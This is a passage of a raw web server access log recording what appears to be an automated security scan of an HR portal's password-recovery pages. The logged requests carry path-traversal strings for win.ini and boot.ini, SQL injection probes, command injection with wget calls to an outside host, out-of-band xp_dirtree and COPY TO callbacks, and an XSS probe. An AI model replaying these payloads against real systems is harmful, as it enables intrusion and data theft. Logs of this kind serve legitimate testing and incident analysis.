(KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:36 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:52:36 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cwinnt/win.ini%00.html HTTP/1.1" 200 6728 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:36 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cwinnt/win.ini%00.html HTTP/1.1" 200 6728 100.64.0.1 - - [05/Dec/2025:21:52:36 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%27+and+%27f%27%3D%27f HTTP/1.1" 200 6687 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:36 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%27+and+%27f%27%3D%27f HTTP/1.1" 200 6687 100.64.0.1 - - [05/Dec/2025:21:52:36 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:36 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:52:36 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:36 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:52:37 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS** HTTP/1.1" 200 6677 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:37 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS** HTTP/1.1" 200 6677 100.64.0.1 - - [05/Dec/2025:21:52:38 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 "-" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:38 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 100.64.0.1 - - [05/Dec/2025:21:52:37 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\windows\\win.ini HTTP/1.1" 200 6779 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:37 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\windows\\win.ini HTTP/1.1" 200 6779 100.64.0.1 - - [05/Dec/2025:21:52:37 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:37 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:52:37 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%27+and+%27f%27%3D%27f%27%29+-- HTTP/1.1" 200 6692 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:37 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%27+and+%27f%27%3D%27f%27%29+-- HTTP/1.1" 200 6692 100.64.0.1 - - [05/Dec/2025:21:52:38 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:38 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:52:38 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%27wget%2520http%253A%252F%252F192.168.0.100%253A8371%252FAppScanMsg.html%253FvarId%253D223%2523 HTTP/1.1" 200 6751 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:38 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%27wget%2520http%253A%252F%252F192.168.0.100%253A8371%252FAppScanMsg.html%253FvarId%253D223%2523 HTTP/1.1" 200 6751 100.64.0.1 - - [05/Dec/2025:21:52:38 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cwindows/win.ini%00.html HTTP/1.1" 200 6730 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:38 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cwindows/win.ini%00.html HTTP/1.1" 200 6730 100.64.0.1 - - [05/Dec/2025:21:52:38 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:38 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:52:38 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%27%3B+COPY+%28select+%27%27%29+TO+%27%5C%5Cv3-ping-224-942f5f11-68c6-4c8c-bd5e-39e4f70cb5fc.adns.appsechcl.com%5C%5Cdir%27+-- HTTP/1.1" 200 6777 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:38 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%27%3B+COPY+%28select+%27%27%29+TO+%27%5C%5Cv3-ping-224-942f5f11-68c6-4c8c-bd5e-39e4f70cb5fc.adns.appsechcl.com%5C%5Cdir%27+-- HTTP/1.1" 200 6777 100.64.0.1 - - [05/Dec/2025:21:52:38 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:38 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:52:39 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%7C%7C HTTP/1.1" 200 6677 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:39 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%7C%7C HTTP/1.1" 200 6677 100.64.0.1 - - [05/Dec/2025:21:52:39 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afboot.ini HTTP/1.1" 200 6730 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:39 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afboot.ini HTTP/1.1" 200 6730 100.64.0.1 - - [05/Dec/2025:21:52:39 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%25%27+and+%27f%25%27%3D%27f HTTP/1.1" 200 6689 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:39 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%25%27+and+%27f%25%27%3D%27f HTTP/1.1" 200 6689 100.64.0.1 - - [05/Dec/2025:21:52:39 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=ProbePhishing&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:39 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=ProbePhishing&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:52:39 +0800] "GET /ehr/ess/lostpassword.php?scriptname=WF%27SQL%22Probe%3BA--B&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:39 +0800] "GET /ehr/ess/lostpassword.php?scriptname=WF%27SQL%22Probe%3BA--B&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:52:40 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%253E%28wget%2520http%253A%252F%252F192.168.0.100%253A8371%252FAppScanMsg.html%253FvarId%253D225%29 HTTP/1.1" 200 6752 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:40 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%253E%28wget%2520http%253A%252F%252F192.168.0.100%253A8371%252FAppScanMsg.html%253FvarId%253D225%29 HTTP/1.1" 200 6752 100.64.0.1 - - [05/Dec/2025:21:52:40 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=/..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c../boot.ini%00.html HTTP/1.1" 200 6738 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:40 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=/..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c../boot.ini%00.html HTTP/1.1" 200 6738 100.64.0.1 - - [05/Dec/2025:21:52:40 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%3B+COPY+%28select+%27%27%29+TO+%27%5C%5Cv3-ping-226-942f5f11-68c6-4c8c-bd5e-39e4f70cb5fc.adns.appsechcl.com%5C%5Cdir%27+-- HTTP/1.1" 200 6776 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:40 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%3B+COPY+%28select+%27%27%29+TO+%27%5C%5Cv3-ping-226-942f5f11-68c6-4c8c-bd5e-39e4f70cb5fc.adns.appsechcl.com%5C%5Cdir%27+-- HTTP/1.1" 200 6776 100.64.0.1 - - [05/Dec/2025:21:52:40 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:40 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:52:40 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:40 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:52:41 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%2F%2F%2F HTTP/1.1" 200 6678 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:41 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%2F%2F%2F HTTP/1.1" 200 6678 100.64.0.1 - - [05/Dec/2025:21:52:41 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afwinnt/win.ini HTTP/1.1" 200 6735 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:41 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afwinnt/win.ini HTTP/1.1" 200 6735 100.64.0.1 - - [05/Dec/2025:21:52:41 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:41 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:52:43 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 "-" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:43 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 100.64.0.1 - - [05/Dec/2025:21:52:41 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=ProbePhishing&target=iframe" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:41 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:52:41 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php?scriptname=WF%27SQL%22Probe%3BA--B&msgtxt=&target=iframe" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:41 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:52:42 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%253C%28wget%2520http%253A%252F%252F192.168.0.100%253A8371%252FAppScanMsg.html%253FvarId%253D227%29 HTTP/1.1" 200 6752 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:42 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%253C%28wget%2520http%253A%252F%252F192.168.0.100%253A8371%252FAppScanMsg.html%253FvarId%253D227%29 HTTP/1.1" 200 6752 100.64.0.1 - - [05/Dec/2025:21:52:42 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=/..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c../boot.ini%00.html HTTP/1.1" 200 6738 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:42 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=/..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c../boot.ini%00.html HTTP/1.1" 200 6738 100.64.0.1 - - [05/Dec/2025:21:52:42 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%27%3Bexec+master+..xp_dirtree+%27%5C%5Cv3-ping-228-942f5f11-68c6-4c8c-bd5e-39e4f70cb5fc.adns.appsechcl.com%5Cdir%27-- HTTP/1.1" 200 6779 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:42 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%27%3Bexec+master+..xp_dirtree+%27%5C%5Cv3-ping-228-942f5f11-68c6-4c8c-bd5e-39e4f70cb5fc.adns.appsechcl.com%5Cdir%27-- HTTP/1.1" 200 6779 100.64.0.1 - - [05/Dec/2025:21:52:42 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:42 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:52:42 +0800] "GET /ehr/ess/redirect.php?scriptname=/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/winnt/win.ini&action=findpasswd&lang=ZHS HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:42 +0800] "GET /ehr/ess/redirect.php?scriptname=/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/winnt/win.ini&action=findpasswd&lang=ZHS HTTP/1.1" 302 - 100.64.0.1 - - [05/Dec/2025:21:52:44 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/winnt/win.ini&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:44 +0800] "GET /ehr/ess HTTP/1.1" 301 249 100.64.0.1 - - [05/Dec/2025:21:52:43 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%26%26 HTTP/1.1" 200 6685 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:43 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%26%26 HTTP/1.1" 200 6685 100.64.0.1 - - [05/Dec/2025:21:52:43 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:43 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:52:43 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:43 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:52:44 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:44 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:52:44 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=/..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c../winnt/win.ini%00.html HTTP/1.1" 200 6743 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:44 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=/..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c../winnt/win.ini%00.html HTTP/1.1" 200 6743 100.64.0.1 - - [05/Dec/2025:21:52:44 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=javascript:alert(229) HTTP/1.1" 200 6693 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:44 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=javascript:alert(229) HTTP/1.1" 200 6693 100.64.0.1 - - [05/Dec/2025:21:52:44 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afwindows/win.ini HTTP/1.1" 200 6737 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) 